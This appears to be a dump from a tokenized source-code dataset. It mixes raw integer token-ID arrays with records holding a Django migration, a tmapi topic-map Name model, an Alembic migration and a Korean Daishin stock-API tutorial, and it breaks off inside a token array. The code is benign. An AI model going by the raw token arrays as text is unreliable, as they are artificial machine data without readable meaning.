29945,
8243,
13,
9651,
21251,
13,
9651,
3987,
3790,
13,
18884,
525,
369,
15828,
29918,
978,
2396,
525,
1792,
742,
13,
18884,
525,
369,
15828,
29918,
978,
29918,
572,
3631,
2396,
525,
7193,
742,
13,
9651,
2981,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
13720,
1907,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
8921,
537,
29918,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
8243,
13,
18884,
6702,
3027,
742,
4733,
29889,
2940,
3073,
29898,
4304,
29922,
5574,
29892,
6441,
29918,
517,
2433,
8346,
29914,
1495,
511,
13,
18884,
6702,
5269,
742,
4733,
29889,
9823,
3073,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
29946,
8243,
13,
18884,
6702,
12346,
742,
4733,
29889,
7798,
3073,
25739,
13,
18884,
6702,
8921,
537,
29918,
5269,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29900,
29900,
29892,
1870,
29922,
5574,
8243,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
16890,
3335,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
8262,
3335,
29918,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29941,
29900,
29892,
1870,
29922,
5574,
8243,
13,
18884,
6702,
3027,
742,
4733,
29889,
2940,
3073,
29898,
4304,
29922,
5574,
29892,
6441,
29918,
517,
2433,
8346,
29914,
1495,
511,
13,
18884,
6702,
8216,
742,
27773,
962,
346,
29889,
9794,
29889,
7020,
3073,
25739,
13,
18884,
6702,
12346,
742,
4733,
29889,
7798,
3073,
25739,
13,
18884,
6702,
8262,
3335,
29918,
5269,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29900,
29900,
29892,
1870,
29922,
5574,
8243,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
3868,
4298,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
354,
4298,
29918,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
8243,
13,
18884,
6702,
3027,
742,
4733,
29889,
2940,
3073,
29898,
4304,
29922,
5574,
29892,
6441,
29918,
517,
2433,
8346,
29914,
1495,
511,
13,
18884,
6702,
5269,
742,
4733,
29889,
9823,
3073,
29898,
3317,
29918,
2848,
29922,
29906,
29945,
29946,
8243,
13,
18884,
6702,
12346,
742,
4733,
29889,
7798,
3073,
25739,
13,
18884,
6702,
354,
4298,
29918,
5269,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29906,
29900,
29900,
29892,
1870,
29922,
5574,
8243,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
3868,
4298,
9916,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
354,
4298,
9916,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
8243,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
8139,
1141,
6526,
6614,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
978,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
8243,
13,
18884,
6702,
3027,
742,
4733,
29889,
2940,
3073,
29898,
4304,
29922,
5574,
29892,
6441,
29918,
517,
2433,
6614,
29879,
29914,
1495,
511,
13,
18884,
6702,
484,
1141,
6526,
6614,
29918,
2798,
742,
4733,
29889,
7798,
3073,
29898,
19465,
29922,
5574,
29892,
2322,
29922,
29900,
29892,
1870,
29922,
5574,
8243,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
29328,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
3257,
742,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29896,
29900,
29900,
8243,
13,
18884,
6702,
24671,
742,
27773,
962,
346,
29889,
9794,
29889,
7020,
3073,
25739,
13,
18884,
6702,
5467,
29918,
1256,
742,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
8243,
13,
18884,
6702,
8921,
742,
4733,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
29922,
11027,
29889,
20656,
29950,
29918,
11889,
29918,
20387,
29931,
8243,
13,
18884,
6702,
484,
1141,
6526,
6614,
29918,
333,
742,
4733,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
2433,
932,
29889,
8139,
1141,
6526,
6614,
1495,
511,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
4391,
3195,
29898,
13,
9651,
1024,
2433,
13909,
742,
13,
9651,
4235,
11759,
13,
18884,
6702,
333,
742,
4733,
29889,
12300,
3073,
29898,
6921,
29918,
11600,
29922,
5574,
29892,
7601,
29918,
1989,
29922,
5574,
29892,
28755,
29922,
8824,
29892,
26952,
29918,
978,
2433,
1367,
1495,
511,
13,
18884,
6702,
23221,
29918,
16447,
742,
11451,
9009,
18020,
29889,
19776,
29889,
9794,
29889,
2940,
3073,
29898,
19465,
29922,
5574,
8243,
13,
18884,
6702,
24840,
742,
27773,
962,
346,
29889,
9794,
29889,
7020,
3073,
25739,
13,
18884,
6702,
484,
1141,
6526,
6614,
742,
4733,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
2433,
932,
29889,
8139,
1141,
6526,
6614,
1495,
511,
13,
9651,
21251,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
354,
4298,
742,
13,
9651,
1024,
2433,
354,
4298,
9916,
742,
13,
9651,
1746,
29922,
9794,
29889,
14804,
1762,
14804,
3073,
29898,
517,
2433,
932,
29889,
3868,
4298,
9916,
5477,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
354,
4298,
742,
13,
9651,
1024,
2433,
484,
1141,
6526,
6614,
29918,
333,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
2433,
932,
29889,
8139,
1141,
6526,
6614,
5477,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
8262,
3335,
742,
13,
9651,
1024,
2433,
484,
1141,
6526,
6614,
29918,
333,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
373,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
4475,
29918,
978,
2433,
484,
1141,
6526,
6614,
8262,
3335,
742,
304,
2433,
932,
29889,
8139,
1141,
6526,
6614,
5477,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
8262,
3335,
742,
13,
9651,
1024,
2433,
20348,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
4304,
29922,
5574,
29892,
373,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
4475,
29918,
978,
2433,
8262,
3335,
742,
304,
29922,
11027,
29889,
20656,
29950,
29918,
11889,
29918,
20387,
29931,
511,
13,
4706,
10353,
13,
4706,
9725,
800,
29889,
2528,
3073,
29898,
13,
9651,
1904,
29918,
978,
2433,
8921,
1907,
742,
13,
9651,
1024,
2433,
484,
1141,
6526,
6614,
29918,
333,
742,
13,
9651,
1746,
29922,
9794,
29889,
27755,
2558,
29898,
265,
29918,
8143,
29922,
14095,
29889,
2585,
29889,
9794,
29889,
311,
1026,
291,
29889,
29907,
3289,
5454,
2287,
29892,
304,
2433,
932,
29889,
8139,
1141,
6526,
6614,
5477,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
tmapi/models/name.py | ajenhl/django-tmapi | 2 | 44385 | # Copyright 2011 <NAME> (<EMAIL>)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from django.db import models
from tmapi.constants import XSD_ANY_URI, XSD_STRING
from tmapi.exceptions import ModelConstraintException
from construct_fields import ConstructFields
from locator import Locator
from reifiable import Reifiable
from scoped import Scoped
from typed import Typed
from variant import Variant
class Name (ConstructFields, Reifiable, Scoped, Typed):
"""Represents a topic name item."""
topic = models.ForeignKey('Topic', related_name='names')
value = models.TextField()
class Meta:
app_label = 'tmapi'
def create_variant (self, value, scope, datatype=None):
"""Creates a `Variant` of this topic name with the specified
string `value` and `scope`.
If `datatype` is None, the newly created `Variant` will have
the datatype xsd:string.
The newly created `Variant` will contain all themes from the
parent name and the themes specified in `scope`.
:param value: the string value or locator which represents an IRI
:type value: string or `Locator`
:param scope: list of themes
:type scope: list of `Topic`s
:rtype: `Variant`
"""
if value is None:
raise ModelConstraintException(self, 'The value may not be None')
if not scope:
raise ModelConstraintException(self, 'The scope may not be None')
if type(scope) not in (type([]), type(())):
scope = [scope]
if scope == list(self.get_scope()):
raise ModelConstraintException(
self, 'The variant would be in the same scope as the parent')
if datatype is None:
if isinstance(value, Locator):
datatype = Locator(XSD_ANY_URI)
elif isinstance(value, str):
datatype = Locator(XSD_STRING)
if isinstance(value, Locator):
value = value.to_external_form()
variant = Variant(name=self, datatype=datatype.to_external_form(),
value=value, topic_map=self.topic_map)
variant.save()
for theme in scope:
variant.scope.add(theme)
return variant
def get_parent (self, proxy=None):
"""Returns the `Topic` to which this name belongs.
:param proxy: Django proxy model class
:type proxy: class
:rtype: `Topic` or `proxy`
"""
parent = self.topic
if proxy is not None:
parent = proxy.objects.get(pk=parent.id)
return parent
def get_value (self):
"""Returns the value of this name."""
return self.value
def get_variants (self):
"""Returns the variants defined for this name."""
return self.variants.all()
def set_value (self, value):
"""Sets the value of this name. The previous value is overridden."""
if value is None:
raise ModelConstraintException(self, 'The value may not be None')
self.value = value
self.save()
def __unicode__ (self):
return self.value
| [
1,
396,
14187,
1266,
29871,
29906,
29900,
29896,
29896,
529,
5813,
29958,
313,
29966,
26862,
6227,
12948,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
13,
3166,
9557,
29889,
2585,
1053,
4733,
13,
13,
3166,
260,
1958,
29875,
29889,
3075,
1934,
1053,
1060,
7230,
29918,
2190,
29979,
29918,
15551,
29892,
1060,
7230,
29918,
20785,
13,
3166,
260,
1958,
29875,
29889,
11739,
29879,
1053,
8125,
21529,
2451,
13,
13,
3166,
3386,
29918,
9621,
1053,
1281,
4984,
14256,
13,
3166,
1180,
1061,
1053,
5976,
1061,
13,
3166,
337,
28677,
1053,
830,
28677,
13,
3166,
16505,
287,
1053,
2522,
28605,
13,
3166,
13033,
1053,
14213,
287,
13,
3166,
17305,
1053,
9586,
424,
13,
13,
13,
1990,
4408,
313,
1168,
4984,
14256,
29892,
830,
28677,
29892,
2522,
28605,
29892,
14213,
287,
1125,
13,
13,
1678,
9995,
1123,
4569,
1237,
263,
11261,
1024,
2944,
1213,
15945,
13,
268,
13,
1678,
11261,
353,
4733,
29889,
27755,
2558,
877,
7031,
293,
742,
4475,
29918,
978,
2433,
7039,
1495,
13,
1678,
995,
353,
4733,
29889,
15778,
580,
13,
13,
1678,
770,
20553,
29901,
13,
4706,
623,
29918,
1643,
353,
525,
29873,
1958,
29875,
29915,
13,
13,
1678,
822,
1653,
29918,
19365,
313,
1311,
29892,
995,
29892,
6874,
29892,
1418,
23179,
29922,
8516,
1125,
13,
4706,
9995,
9832,
1078,
263,
421,
10444,
424,
29952,
310,
445,
11261,
1024,
411,
278,
6790,
13,
4706,
1347,
421,
1767,
29952,
322,
421,
6078,
1412,
13,
13,
4706,
960,
421,
4130,
23179,
29952,
338,
6213,
29892,
278,
15141,
2825,
421,
10444,
424,
29952,
674,
505,
13,
4706,
278,
1418,
23179,
921,
4928,
29901,
1807,
29889,
13,
13,
4706,
450,
15141,
2825,
421,
10444,
424,
29952,
674,
1712,
599,
963,
267,
515,
278,
13,
4706,
3847,
1024,
322,
278,
963,
267,
6790,
297,
421,
6078,
1412,
13,
13,
4706,
584,
3207,
995,
29901,
278,
1347,
995,
470,
1180,
1061,
607,
11524,
385,
306,
3960,
13,
4706,
584,
1853,
995,
29901,
1347,
470,
421,
3524,
1061,
29952,
13,
4706,
584,
3207,
6874,
29901,
1051,
310,
963,
267,
13,
4706,
584,
1853,
6874,
29901,
1051,
310,
421,
7031,
293,
29952,
29879,
13,
4706,
584,
29878,
1853,
29901,
421,
10444,
424,
29952,
13,
13,
4706,
9995,
13,
4706,
565,
995,
338,
6213,
29901,
13,
9651,
12020,
8125,
21529,
2451,
29898,
1311,
29892,
525,
1576,
995,
1122,
451,
367,
6213,
1495,
13,
4706,
565,
451,
6874,
29901,
13,
9651,
12020,
8125,
21529,
2451,
29898,
1311,
29892,
525,
1576,
6874,
1122,
451,
367,
6213,
1495,
13,
4706,
565,
1134,
29898,
6078,
29897,
451,
297,
313,
1853,
29898,
2636,
511,
1134,
14885,
22164,
13,
9651,
6874,
353,
518,
6078,
29962,
13,
4706,
565,
6874,
1275,
1051,
29898,
1311,
29889,
657,
29918,
6078,
580,
1125,
13,
9651,
12020,
8125,
21529,
2451,
29898,
13,
18884,
1583,
29892,
525,
1576,
17305,
723,
367,
297,
278,
1021,
6874,
408,
278,
3847,
1495,
13,
4706,
565,
1418,
23179,
338,
6213,
29901,
13,
9651,
565,
338,
8758,
29898,
1767,
29892,
5976,
1061,
1125,
13,
18884,
1418,
23179,
353,
5976,
1061,
29898,
29990,
7230,
29918,
2190,
29979,
29918,
15551,
29897,
13,
9651,
25342,
338,
8758,
29898,
1767,
29892,
851,
1125,
13,
18884,
1418,
23179,
353,
5976,
1061,
29898,
29990,
7230,
29918,
20785,
29897,
13,
4706,
565,
338,
8758,
29898,
1767,
29892,
5976,
1061,
1125,
13,
9651,
995,
353,
995,
29889,
517,
29918,
23176,
29918,
689,
580,
13,
4706,
17305,
353,
9586,
424,
29898,
978,
29922,
1311,
29892,
1418,
23179,
29922,
4130,
23179,
29889,
517,
29918,
23176,
29918,
689,
3285,
13,
462,
3986,
995,
29922,
1767,
29892,
11261,
29918,
1958,
29922,
1311,
29889,
13010,
29918,
1958,
29897,
13,
4706,
17305,
29889,
7620,
580,
13,
4706,
363,
10929,
297,
6874,
29901,
13,
9651,
17305,
29889,
6078,
29889,
1202,
29898,
18193,
29897,
13,
4706,
736,
17305,
13,
308,
13,
1678,
822,
679,
29918,
3560,
313,
1311,
29892,
10166,
29922,
8516,
1125,
13,
4706,
9995,
11609,
29879,
278,
421,
7031,
293,
29952,
304,
607,
445,
1024,
14393,
29889,
13,
13,
4706,
584,
3207,
10166,
29901,
15337,
10166,
1904,
770,
13,
4706,
584,
1853,
10166,
29901,
770,
13,
4706,
584,
29878,
1853,
29901,
421,
7031,
293,
29952,
470,
421,
14701,
29952,
13,
13,
4706,
9995,
13,
4706,
3847,
353,
1583,
29889,
13010,
13,
4706,
565,
10166,
338,
451,
6213,
29901,
13,
9651,
3847,
353,
10166,
29889,
12650,
29889,
657,
29898,
20571,
29922,
3560,
29889,
333,
29897,
13,
4706,
736,
3847,
13,
13,
1678,
822,
679,
29918,
1767,
313,
1311,
1125,
13,
4706,
9995,
11609,
29879,
278,
995,
310,
445,
1024,
1213,
15945,
13,
4706,
736,
1583,
29889,
1767,
13,
13,
1678,
822,
679,
29918,
5927,
1934,
313,
1311,
1125,
13,
4706,
9995,
11609,
29879,
278,
29161,
3342,
363,
445,
1024,
1213,
15945,
13,
4706,
736,
1583,
29889,
5927,
1934,
29889,
497,
580,
13,
462,
13,
1678,
822,
731,
29918,
1767,
313,
1311,
29892,
995,
1125,
13,
4706,
9995,
29903,
1691,
278,
995,
310,
445,
1024,
29889,
450,
3517,
995,
338,
20831,
1145,
1213,
15945,
13,
4706,
565,
995,
338,
6213,
29901,
13,
9651,
12020,
8125,
21529,
2451,
29898,
1311,
29892,
525,
1576,
995,
1122,
451,
367,
6213,
1495,
13,
4706,
1583,
29889,
1767,
353,
995,
13,
4706,
1583,
29889,
7620,
580,
13,
13,
1678,
822,
4770,
2523,
356,
1649,
313,
1311,
1125,
13,
4706,
736,
1583,
29889,
1767,
13,
2
] |
migrations/versions/2286baefdbc2_.py | FlyingBird95/covid-19 | 0 | 154466 | """empty message
Revision ID: 2286baefdbc2
Revises: ca9ba145768e
Create Date: 2020-03-26 21:47:03.150005
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '<KEY>'
down_revision = 'ca9ba145768e'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('locations', sa.Column('country_code', sa.String(length=10), nullable=False))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_constraint(None, 'locations', type_='unique')
op.drop_column('locations', 'country_code')
# ### end Alembic commands ###
| [
1,
9995,
6310,
2643,
13,
13,
1123,
4924,
3553,
29901,
29871,
29906,
29906,
29947,
29953,
2291,
1389,
11140,
29906,
13,
1123,
1730,
267,
29901,
5777,
29929,
2291,
29896,
29946,
29945,
29955,
29953,
29947,
29872,
13,
4391,
4712,
29901,
29871,
29906,
29900,
29906,
29900,
29899,
29900,
29941,
29899,
29906,
29953,
29871,
29906,
29896,
29901,
29946,
29955,
29901,
29900,
29941,
29889,
29896,
29945,
29900,
29900,
29900,
29945,
13,
13,
15945,
29908,
13,
3166,
20712,
29890,
293,
1053,
1015,
13,
5215,
4576,
284,
305,
6764,
408,
872,
13,
13,
13,
29937,
26554,
2893,
14903,
29892,
1304,
491,
319,
2409,
29890,
293,
29889,
13,
276,
4924,
353,
12801,
10818,
16299,
13,
3204,
29918,
276,
4924,
353,
525,
1113,
29929,
2291,
29896,
29946,
29945,
29955,
29953,
29947,
29872,
29915,
13,
17519,
29918,
21134,
353,
6213,
13,
2716,
1975,
29918,
265,
353,
6213,
13,
13,
13,
1753,
14955,
7295,
13,
1678,
396,
835,
8260,
4469,
5759,
491,
319,
2409,
29890,
293,
448,
3113,
10365,
29991,
835,
13,
1678,
1015,
29889,
1202,
29918,
4914,
877,
2029,
800,
742,
872,
29889,
4409,
877,
13509,
29918,
401,
742,
872,
29889,
1231,
29898,
2848,
29922,
29896,
29900,
511,
1870,
519,
29922,
8824,
876,
13,
1678,
396,
835,
1095,
319,
2409,
29890,
293,
8260,
835,
13,
13,
13,
1753,
1623,
8228,
7295,
13,
1678,
396,
835,
8260,
4469,
5759,
491,
319,
2409,
29890,
293,
448,
3113,
10365,
29991,
835,
13,
1678,
1015,
29889,
8865,
29918,
13646,
29898,
8516,
29892,
525,
2029,
800,
742,
1134,
29918,
2433,
13092,
1495,
13,
1678,
1015,
29889,
8865,
29918,
4914,
877,
2029,
800,
742,
525,
13509,
29918,
401,
1495,
13,
1678,
396,
835,
1095,
319,
2409,
29890,
293,
8260,
835,
13,
2
] |
tutorial/43.py | mssung94/daishin-trading-system | 2 | 5001 | # 대신증권 API
# 데이터 요청 방법 2가지 BlockRequest 와 Request 방식 비교 예제
# 플러스 API 에서 데이터를 요청하는 방법은 크게 2가지가 있습니다
#
# BlockRequest 방식 - 가장 간단하게 데이터 요청해서 수신 가능
# Request 호출 후 Received 이벤트로 수신 받기
#
# 아래는 위 2가지를 비교할 수 있도록 만든 예제 코드입니다
# 일반적인 데이터 요청에는 BlockRequest 방식이 가장 간단합니다
# 다만, BlockRequest 함수 내에서도 동일 하게 메시지펌핑을 하고 있어 해당 통신이 마치기 전에 실시간 시세를 수신 받거나
# 다른 이벤트에 의해 재귀 호출 되는 문제가 있을 경우 함수 호출이 실패할 수 있습니다
# 복잡한 실시간 시세 수신 중에 통신을 해야 하는 경우에는 Request 방식을 이용해야 합니다.
import pythoncom
from PyQt5.QtWidgets import *
import win32com.client
import win32event
g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr')
StopEvent = win32event.CreateEvent(None, 0, 0, None)
class CpEvent:
def set_params(self, client, name, caller):
self.client = client # CP 실시간 통신 object
self.name = name # 서비스가 다른 이벤트를 구분하기 위한 이름
self.caller = caller # callback 을 위해 보관
def OnReceived(self):
# 실시간 처리 - 현재가 주문 체결
if self.name == 'stockmst':
print('recieved')
win32event.SetEvent(StopEvent)
return
class CpCurReply:
def __init__(self, objEvent):
self.name = "stockmst"
self.obj = objEvent
def Subscribe(self):
handler = win32com.client.WithEvents(self.obj, CpEvent)
handler.set_params(self.obj, self.name, None)
def MessagePump(timeout):
waitables = [StopEvent]
while 1:
rc = win32event.MsgWaitForMultipleObjects(
waitables,
0, # Wait for all = false, so it waits for anyone
timeout, # (or win32event.INFINITE)
win32event.QS_ALLEVENTS) # Accepts all input
if rc == win32event.WAIT_OBJECT_0:
# Our first event listed, the StopEvent, was triggered, so we must exit
print('stop event')
break
elif rc == win32event.WAIT_OBJECT_0 + len(waitables):
# A windows message is waiting - take care of it. (Don't ask me
# why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!).
# This message-serving MUST be done for COM, DDE, and other
# Windowsy things to work properly!
print('pump')
if pythoncom.PumpWaitingMessages():
break # we received a wm_quit message
elif rc == win32event.WAIT_TIMEOUT:
print('timeout')
return
pass
else:
print('exception')
raise RuntimeError("unexpected win32wait return value")
code = 'A005930'
##############################################################
# 1. BlockRequest
print('#####################################')
objStockMst = win32com.client.Dispatch("DsCbo1.StockMst")
objStockMst.SetInputValue(0, code)
objStockMst.BlockRequest()
print('BlockRequest 로 수신 받은 데이터')
item = {}
item['종목명'] = g_objCodeMgr.CodeToName(code)
item['현재가'] = objStockMst.GetHeaderValue(11) # 종가
item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비
print(item)
print('')
##############################################################
# 2. Request ==> 메시지 펌프 ==> OnReceived 이벤트 수신
print('#####################################')
objReply = CpCurReply(objStockMst)
objReply.Subscribe()
code = 'A005930'
objStockMst.SetInputValue(0, code)
objStockMst.Request()
MessagePump(10000)
item = {}
item['종목명'] = g_objCodeMgr.CodeToName(code)
item['현재가'] = objStockMst.GetHeaderValue(11) # 종가
item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비
print(item)
| [
1,
396,
29871,
30890,
31262,
239,
169,
160,
237,
185,
143,
3450,
30004,
13,
29937,
29871,
238,
144,
179,
30393,
31856,
29871,
31527,
239,
181,
176,
29871,
31945,
238,
181,
152,
29871,
29906,
30903,
30811,
15658,
3089,
29871,
239,
156,
131,
10729,
29871,
31945,
31895,
29871,
31487,
31972,
29871,
239,
155,
139,
31306,
30004,
13,
29937,
29871,
240,
151,
143,
238,
162,
175,
30784,
3450,
29871,
31054,
31093,
29871,
238,
144,
179,
30393,
31856,
31517,
29871,
31527,
239,
181,
176,
30944,
31081,
29871,
31945,
238,
181,
152,
31354,
29871,
240,
132,
175,
237,
181,
143,
29871,
29906,
30903,
30811,
30903,
29871,
239,
161,
139,
239,
141,
184,
31063,
30709,
30004,
13,
29937,
30004,
13,
29937,
15658,
3089,
29871,
31945,
31895,
448,
29871,
30903,
31299,
29871,
237,
179,
135,
31746,
30944,
237,
181,
143,
29871,
238,
144,
179,
30393,
31856,
29871,
31527,
239,
181,
176,
31435,
31093,
29871,
30970,
31262,
29871,
30903,
238,
141,
168,
30004,
13,
29937,
10729,
29871,
31603,
239,
185,
159,
29871,
240,
158,
135,
24328,
2347,
29871,
30393,
238,
181,
167,
31177,
30906,
29871,
30970,
31262,
29871,
238,
179,
158,
30827,
30004,
13,
29937,
30004,
13,
29937,
29871,
30860,
238,
161,
155,
31081,
29871,
31724,
29871,
29906,
30903,
30811,
31517,
29871,
31487,
31972,
240,
152,
163,
29871,
30970,
29871,
239,
161,
139,
31136,
238,
164,
160,
29871,
31826,
238,
150,
163,
29871,
239,
155,
139,
31306,
29871,
239,
192,
151,
31493,
239,
161,
136,
31063,
30709,
30004,
13,
30004,
13,
29937,
29871,
31153,
238,
179,
155,
239,
163,
132,
30918,
29871,
238,
144,
179,
30393,
31856,
29871,
31527,
239,
181,
176,
31054,
31081,
15658,
3089,
259,
31945,
31895,
30393,
29871,
30903,
31299,
29871,
237,
179,
135,
31746,
31980,
31063,
30709,
30004,
13,
29937,
29871,
30709,
31826,
29892,
15658,
3089,
259,
240,
152,
171,
30970,
29871,
31940,
31054,
31093,
31136,
29871,
31000,
31153,
29871,
30944,
237,
181,
143,
29871,
238,
172,
151,
30889,
30811,
240,
145,
143,
240,
152,
148,
31286,
29871,
30944,
31137,
29871,
239,
161,
139,
31129,
29871,
31435,
238,
142,
188,
29871,
240,
137,
184,
31262,
30393,
29871,
31417,
239,
188,
155,
30827,
29871,
31170,
31054,
29871,
239,
142,
167,
30889,
237,
179,
135,
29871,
30889,
31578,
31517,
29871,
30970,
31262,
29871,
238,
179,
158,
237,
180,
179,
31207,
30004,
13,
29937,
29871,
30709,
238,
168,
187,
29871,
30393,
238,
181,
167,
31177,
31054,
29871,
30708,
31435,
29871,
31973,
237,
186,
131,
29871,
31603,
239,
185,
159,
29871,
238,
147,
155,
31081,
29871,
31406,
31306,
30903,
29871,
239,
161,
139,
31286,
29871,
31378,
31327,
29871,
240,
152,
171,
30970,
29871,
31603,
239,
185,
159,
30393,
29871,
239,
142,
167,
240,
143,
171,
240,
152,
163,
29871,
30970,
29871,
239,
161,
139,
239,
141,
184,
31063,
30709,
6756,
13,
29937,
29871,
238,
182,
184,
239,
161,
164,
30877,
29871,
239,
142,
167,
30889,
237,
179,
135,
29871,
30889,
31578,
29871,
30970,
31262,
29871,
31941,
31054,
29871,
240,
137,
184,
31262,
31286,
29871,
31435,
239,
152,
191,
29871,
30944,
31081,
29871,
31378,
31327,
31054,
31081,
10729,
29871,
31945,
31895,
31286,
29871,
30393,
31737,
31435,
239,
152,
191,
29871,
31980,
31063,
30709,
22993,
13,
30004,
13,
5215,
